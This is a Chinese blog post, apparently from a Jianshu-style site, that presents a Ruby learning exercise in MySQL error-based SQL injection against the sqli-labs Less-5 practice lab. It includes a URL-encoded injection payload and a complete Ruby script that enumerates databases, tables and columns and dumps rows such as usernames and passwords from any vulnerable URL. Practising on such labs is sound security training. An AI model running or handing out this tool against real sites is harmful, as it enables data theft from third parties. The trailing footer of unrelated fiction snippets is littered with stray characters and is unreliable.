Ruby初學(xué)練習(xí)->PHP+MySQL報(bào)錯(cuò)注入

測(cè)試目標(biāo)位 sqli-labs 第五節(jié)

http://ip/Less-5/?id=1

eg:
http://ip/Less-5/?id=1%27%20+and(select%201%20from(select%20count(),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,column_name,0x7e)%20FROM%20information_schema.columns%20where%20table_name=0x656d61696c73%20LIMIT%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a)%20--+

Paste_Image.png

寫個(gè)程序跑一下

#sqlError.rb --dbs url
#sqlError.rb --tables -D databasename url
#sqlError.rb --columns -T tablename -D databasename url
#sqlError.rb --dump -C 'id,username,password' -T tablename -D databasename url
require 'net/http'

url = ARGV[0]

$base_payload = "'+and(select 1 from(select count(*),concat((select (select ($sql)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+"

class String
    def to_hex; '0x'+self.unpack("H*")[0].to_s; end
end

#Send Request Get Response
def send_sqli(url,payload)
    uri = URI.parse(url)
    query = uri.query
    uri.query = query+payload
    http = Net::HTTP.new(uri.host,uri.port)
    http.use_ssl = true if uri.scheme == 'https'
    request = Net::HTTP::Get.new(uri.request_uri)
    request['User-Agent'] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0"
    request['Connection'] = "keep-alive"
    request['Accept-Language'] = "en-US,en;q=0.5"
    request['Accept-Encoding'] = "gzip,deflate"
    begin
        puts "Sending......"
        response = http.request(request).body
    rescue Exception => e
        puts "[!] Failed!"
        puts e
    end
end

def printDataNum(title,num)
    puts "[!] Received #{title} Number From Remote Server : #{num}"
end

def printData(number,dataAry)
    puts "Received Number #{number}"
    dataAry.each { |name| puts '|' + name + "|\n" }
end

def printOne(data)
    puts "[!] Received Data From Remote Server : #{data}"       
end

def replace(content)
    $base_payload.sub(/\$sql/,content)
end

def getResult(content)
    content.scan(/~(.*?)~/)[0][0]
end

def getDatabaseNum(url)
    sql = "SELECT concat(0x7e,count(distinct+table_schema),0x7e) FROM information_schema.tables"
    payload = replace(sql)
    html = send_sqli url,payload
    database_number = getResult html
    printDataNum 'Databases',database_number
    return database_number
end 

#Get all databases
def getAllDatabases(url)
    databases = []
    number = getDatabaseNum url
    number.to_i.times.each do |i|
        sql = "select distinct concat(0x7e, table_schema, 0x7e) from information_schema.tables limit #{i},1"
        payload = replace(sql)
        html = send_sqli url,payload
        database_name = getResult html
        databases << database_name
        printOne database_name      
    end
    printData number,databases   
end

def getTablesNum(url,database)
    sql = "select concat(0x7e, count(table_name), 0x7e)  from information_schema.tables where table_schema=#{database}"
    payload = replace(sql)
    html = send_sqli url,payload
    tables_number = getResult html
    printDataNum 'Tables',tables_number
    return tables_number
end

def getAlltables(url,database)
    tables = []
    number = getTablesNum url,database
    number.to_i.times.each do |i|
        sql = "select concat(0x7e, table_name, 0x7e) from information_schema.tables where table_schema=#{database} limit #{i},1"
        payload = replace(sql)
        html = send_sqli url,payload
        table_name = getResult html
        tables << table_name
        printOne table_name     
    end
    printData number,tables
end

def getColumnsNum(url,table,database)
    sql = "select concat(0x7e, count(column_name), 0x7e) from information_schema.columns where table_name=#{table} and table_schema=#{database}"
    payload = replace(sql)
    html = send_sqli url,payload
    columns_number = getResult html 
    printDataNum 'Columns',columns_number
    return columns_number
end

def getAllcolumns(url,table,database)
    columns = []
    number = getColumnsNum url,table,database
    number.to_i.times.each do |i|
        sql = "SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=#{table} and table_schema=#{database} LIMIT #{i},1"
        payload = replace(sql)
        html = send_sqli url,payload
        column_name = getResult html
        columns << column_name
        printOne column_name    
    end
    printData number,columns
end

def getDataNum(url,table,database)
    sql = "select concat(0x7e, count(*), 0x7e) from #{database}.#{table}"
    payload = replace(sql)
    puts payload
    html = send_sqli url,payload
    data_number = getResult html
    printDataNum 'Data',data_number
    return data_number
end

def getAlldata(url,columns,table,database)
    alldata = []
    number = getDataNum(url,table,database)
    number.to_i.times.each do |i|
        sql = "select concat(0x7e,id, 0x20,#{columns},0x7e) from #{database}.#{table} limit #{i},1"
        payload = replace(sql)
        html = send_sqli url,payload
        data = getResult html
        alldata << data
        printOne data
    end
    printData number,alldata
end

if __FILE__ == $0
    case ARGV[0]
    when '--dbs'
        url = ARGV[1]
        getAllDatabases url
    when '--tables'
        url = ARGV[3]
        database = ARGV[2]
        database = database.to_hex
        getAlltables url,database
    when '--columns'
        url = ARGV[5]
        table = ARGV[2]
        database = ARGV[4]
        table = table.to_hex
        database = database.to_hex
        getAllcolumns url,table,database
    when '--dump'
        url = ARGV[7]
        columns = ARGV[2]
        table = ARGV[4]
        database = ARGV[6]
        getAlldata url,columns,table,database
    end
end

windows 上做的測(cè)試


Paste_Image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市板丽,隨后出現(xiàn)的幾起案子趁尼,更是在濱河造成了極大的恐慌,老刑警劉巖酥泞,帶你破解...
    沈念sama閱讀 216,843評(píng)論 6 502
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異似炎,居然都是意外死亡悯姊,警方通過查閱死者的電腦和手機(jī)羡藐,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,538評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門挠轴,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人欧啤,你說我怎么就攤上這事⌒纤恚” “怎么了冈在?”我有些...
    開封第一講書人閱讀 163,187評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)包券。 經(jīng)常有香客問我,道長(zhǎng)溅固,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,264評(píng)論 1 292
  • 正文 為了忘掉前任询吴,我火速辦了婚禮,結(jié)果婚禮上猛计,老公的妹妹穿的比我還像新娘。我一直安慰自己奉瘤,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,289評(píng)論 6 390
  • 文/花漫 我一把揭開白布望艺。 她就那樣靜靜地躺著肌访,像睡著了一般艇劫。 火紅的嫁衣襯著肌膚如雪吼驶。 梳的紋絲不亂的頭發(fā)上店煞,一...
    開封第一講書人閱讀 51,231評(píng)論 1 299
  • 那天,我揣著相機(jī)與錄音酒请,去河邊找鬼。 笑死羞反,一個(gè)胖子當(dāng)著我的面吹牛囤萤,可吹牛的內(nèi)容都是我干的昼窗。 我是一名探鬼主播涛舍,決...
    沈念sama閱讀 40,116評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼掸驱!你這毒婦竟也來了没佑?” 一聲冷哼從身側(cè)響起毕贼,我...
    開封第一講書人閱讀 38,945評(píng)論 0 275
  • 序言:老撾萬榮一對(duì)情侶失蹤图筹,失蹤者是張志新(化名)和其女友劉穎让腹,沒想到半個(gè)月后扣溺,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,367評(píng)論 1 313
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡锥余,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,581評(píng)論 2 333
  • 正文 我和宋清朗相戀三年驱犹,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了嘲恍。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片雄驹。...
    茶點(diǎn)故事閱讀 39,754評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖俘侠,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情爷速,我是刑警寧澤霞怀,帶...
    沈念sama閱讀 35,458評(píng)論 5 344
  • 正文 年R本政府宣布,位于F島的核電站毙石,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏胁黑。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,068評(píng)論 3 327
  • 文/蒙蒙 一漂洋、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧刽漂,春花似錦、人聲如沸贝咙。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,692評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至震糖,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間吊说,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,842評(píng)論 1 269
  • 我被黑心中介騙來泰國(guó)打工颁井, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留蠢护,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,797評(píng)論 2 369
  • 正文 我出身青樓葵硕,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親贬芥。 傳聞我的和親對(duì)象是個(gè)殘疾皇子宣决,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,654評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容